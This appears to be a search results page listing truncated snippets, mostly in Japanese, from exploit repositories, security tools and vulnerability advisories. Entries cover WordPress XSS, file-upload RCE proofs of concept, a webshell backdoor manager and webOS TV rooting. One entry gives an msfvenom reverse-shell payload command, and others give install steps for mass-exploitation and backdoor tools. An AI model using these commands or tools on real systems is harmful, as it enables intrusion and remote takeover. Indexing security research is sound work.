248763 matches found
flask-session-cookie-manager
Flask Session Cookie 解码器/编码器 原作者 : Wilson Sumanang 修复与改进作者 : Alexandre ZANNI 源自 saruberoz.github.io 依赖项 Python 2 或 Python 3 itsdangerous Flask 安装 包管理器 BlackArch Linux pacman -S flask-session-cookie-manager3,2 Git ArchLinux Python3 和 Python2： git clone...
PT-2026-104149
The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Display Name in all versions up to, and including, 3.3.70 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and...
PT-2026-104084
The Tabs Responsive WordPress plugin through 2.5 does not sanitize the content of WooCommerce product tabs before storing and rendering it, allowing a shop manager to store JavaScript that executes when any user, including an administrator, views the product page...
Shelly
Shelly | Python ベースのシンプルなバックドアマネージャー weevely ベース Shelly は Python で書かれたシンプルなツールで、ウェブサイトをリモート操作するためのものです。 インストール : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 必要条件 : sudo pip install -r requirements.txt 例 : python3 shell.py -g wp-log -p tegal1337 / / / / / \ / / -...
wp-file-manager-CVE-2020-25213
WP-file-manager エクスプロイト CVE-2020-25213 WP-file-manager WordPress プラグイン（6.9）は、認証されていない任意のファイルアップロードに対して脆弱であり、システム全体が侵害される可能性があります。 詳細については、こちら に公開した私の記事を参照してください。 免責事項 私はこの脆弱性を発見したわけではなく、このCVEの功績を主張するものでもありません。私は、wordfence や seravo...
CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC
CVE-2020-29607 — Pluck CMS Pluck CMS 4.7.13 以前における認証済みリモートコード実行。管理画面のファイルマネージャー admin.php?action=files はファイル拡張子を検証しないため、.phar ファイルのアップロードが可能となり、Apache がそれを PHP として実行します。このエンドポイントにウェブシェルをアップロードすると、ウェブサーバーユーザーとして RCE が発生します。 動作の仕組み 1. 提供された管理者パスワードを使用して認証します。 2. 管理画面のファイルマネージャーを介して PHP ウェブシェルを...
CVE-2022-29548
CVE-2022-29548 の概念実証エクスプロイト: 複数の WSO2 製品の Management Console に反射型 XSS の問題が存在します。影響を受ける製品は以下のとおりです: API Manager 2.2.0、2.5.0、2.6.0、3.0.0、3.1.0、3.2.0、4.0.0、API Manager Analytics 2.2.0、2.5.0、2.6.0、API Microgateway 2.2.0、Data Analytics Server 3.2.0、Enterprise Integrator 6.2.0、6.3.0、6.4.0、6.5.0、6.6.0、I...
root-my-webos-tv
私のwebOS TVをroot化 脆弱なwebOSデバイス上でrootとしてtelnetサーバーを起動するシンプルなPythonスクリプトです。 動作確認済みテレビ webOS 4.9.7 - 5.30.40 モデル LG43UM7000PLA webOS 5.5.0 - 04.50.51 モデル OLED55CXPUA webOS 6.3.3-442 kisscurl-kinglake - 03.36.50 モデル OLED48C1PUB webOS 7.3.1-43 mullet-mebin - 03.33.85 モデル OLED55A23LA インストール 1. Python 3を...
CVE-2025-56399
CVE-2025-56399 大量エクスプロイト CVE-2025-56399 – laravel-file-manager v3.3.1 におけるリモートコード実行。Laravel File Manager の設定ミスを悪用し、認証不要のファイルアップロードを介して PHP シェルをアップロード・検証します。 インストール リポジトリをダウンロード git clone https://github.com/im-hanzou/CVE-2025-56399 リポジトリフォルダに移動 cd CVE-2025-56399 依存関係をインストール pip install -r...
pmanager
Pmanager デモ 説明 パスワードを安全なオフラインデータベースに保存し、取得します。パスワードが過去に漏洩したことがあるかを確認し、標的型のパスワード再利用攻撃を防ぎます。 なぜ別のパスワードマネージャーを開発したのか？ このプロジェクトは、Rustを学びたいという私の願いから始まりました。 keepassxcの使いにくいGUIに飽きていました。 暗号技術についてもっと学びたかったのです。 楽しみのためです。: 機能 最先端の暗号アルゴリズムを使用した安全なパスワード保存。 Argon2idの複数回の反復による鍵導出で、攻撃者がブルートフォース攻撃を行うのを困難にします。...
BlackLotus
BlackLotus BlackLotus（別名 CVE-2023-24932 修復スクリプト） - Intune、ConfigMgr、および一般的なアドホック使用向け。 ブログ記事: https://ajf.one/blacklotus 一般的な注意事項 これらの修復スクリプトは再起動を開始しません。これらは「時間をかけて」実行するように設計されており、最終的にはデバイスは、毎月の更新プログラム、ユーザーによる再起動、またはその他の理由による「自然な」再起動の過程で、準拠していると報告されます。 修復スクリプト全体は、Intune 修復および ConfigMgr CI...
CVE-2009-3999
CVE-2009-3999 HP Power Manager 4.2 ビルド7 エクスプロイト https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 を参考に作成 ステップ1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...
hopgoblin
hopgoblin hopgoblin はAdobe Experience Manager（AEM）インスタンス向けのスキャナです。 セキュリティ評価中に私たちが頻繁に手動で実施する一連のチェックを自動化します。 機能 露出したQueryBuilderエンドポイントを検出: /bin/querybuilder.json /bin/querybuilder.feed QueryBuilderを悪用して: rep:User オブジェクトと漏えいしたパスワードハッシュを列挙 書き込み可能なJCRノードを特定 /services/accesstoken/verify を介したSSRF...
onionjuggler
OnionJuggler UNIXライクなOS向けの高機能オニオンサービス管理ツール（POSIX準拠のシェルスクリプト） OnionJugglerは、最小要件で動作するポータブルなスクリプトとドキュメントのコレクションで、サービス運用者が自身のオニオン（隠しサービス）を管理（ジャグリング）するのに役立ちます。 警告：このリポジトリはまだ信頼しないでください、hsキーは別の場所にバックアップしてください。このプロジェクトはまだリリースされておらず、開発専用と見なすべきです。 このリポジトリへのクイックリンク：git.io/onionjuggler 目次 はじめに 画像 経緯 目標 機能...
CVE-2019-13498
CVE-2019-13498 脆弱性タイトル: MITM - HSTS欠如による認証情報とコンテンツ操作 日付: 07/10/2019 脆弱性作者: Furqan Khan ベンダーホームページ: https://www.oneidentity.com/ ソフトウェアリンク: https://www.oneidentity.com/products/cloud-access-manager/ バージョン: 8.1.3 テスト環境: Kali Linux , Windows 7 ,Ubantu 16.04 MITM攻撃を実施し、ユーザー名、パスワード、OTPを盗むために、bettercap...
CVE-2019-7238
CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 認証なしのリモートコード実行（RCE） nexus コマンドエコーについて： functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class;...
CVE-2019-8978
CVE-2019-8978 Ellucian Banner Web Tailor および Banner Enterprise Identity Services における不適切な認証 CWE-287 著者: Katie Mulliken [email protected] 謝辞: Carnegie Mellon University CERT Coordination Center 情報 発見日: 2018年12月17日 ベンダー: Ellucian Company L.P. ベンダーホームページ: https://www.ellucian.com 製品: Banner Web...
PoC
PoC 概念実証エクスプロイトとツールのリポジトリ。 BMCRSCDRCE BMC Server AutomationのRSCDエージェントに対する認証なしリモートコマンド実行エクスプロイト。このエクスプロイトは、CVE-2016-1542（Nessusにより検出）の影響を受けるサーバーに対して動作します。 これは現在Metasploitモジュールになっています。exploits/multi/misc/bmcserverautomationrscdnshrce を参照してください。...
Webmin-CVE-2022-0824-revshell
Webmin-CVE-2022-0824-リバースシェル 脆弱性の説明 Webmin 1.984 以下 - ファイルマネージャの権限昇格の脆弱性 CVE-2022-0824 および CVE-2022-0829 デフォルトの Authentic テーマを使用している場合、ファイルマネージャモジュールに制限が設定されていない権限の低い Webmin ユーザーが、root 権限でファイルにアクセスできる可能性があります。信頼されていない追加の Webmin ユーザーがいるシステムは、すぐにアップグレードする必要があります。なお、Virtualmin システムは、ドメイン所有者の Webmin...